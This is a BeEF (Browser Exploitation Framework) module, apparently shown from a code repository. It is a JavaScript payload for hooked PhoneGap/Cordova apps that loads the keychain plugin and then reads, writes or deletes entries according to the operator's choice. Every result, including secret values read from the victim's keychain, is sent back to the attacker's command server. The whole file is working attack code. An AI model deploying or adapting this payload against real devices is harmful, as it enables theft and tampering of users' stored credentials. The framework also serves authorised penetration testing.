Files
beef/modules/phonegap/phonegap_keychain/command.js
2025-12-26 19:18:05 +10:00

83 lines
2.5 KiB
JavaScript

//
// Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
// Phonegap_keychain
//
beef.execute(function() {
var servicename = "<%== @servicename %>";
var key = "<%== @key %>";
var value = "<%== @value %>";
var action = "<%== @action %>";
var result = '';
var kc = '';
try {
kc = cordova.require("cordova/plugin/keychain");
} catch (err) {
result = 'Unable to access keychain plugin';
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
}
function onGet()
{
var win = function(value) {
result = result + "GET SUCCESS - Key: " + key + " Value: " + value;
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
};
var fail = function(error) {
result = result + "GET FAIL - Key: " + key + " Error: " + error;
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
};
kc.getForKey(win, fail, key, servicename);
}
function onSet()
{
var win = function() {
result = result + "SET SUCCESS - Key: " + key;
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
};
var fail = function(error) {
result = result + "SET FAIL - Key: " + key + " Error: " + error;
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
};
kc.setForKey(win, fail, key, servicename, value);
}
function onRemove()
{
var win = function() {
result = result + "REMOVE SUCCESS - Key: " + key;
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
};
var fail = function(error) {
result = result + "REMOVE FAIL - Key: " + key + " Error: " + error;
beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result='+result );
};
kc.removeForKey(win, fail, key, servicename);
}
if (kc !== undefined) {
switch(action) {
case 'Read':
onGet();
break;
case 'CreateUpdate':
onSet();
break;
case 'Delete':
onRemove();
break;
}
}
});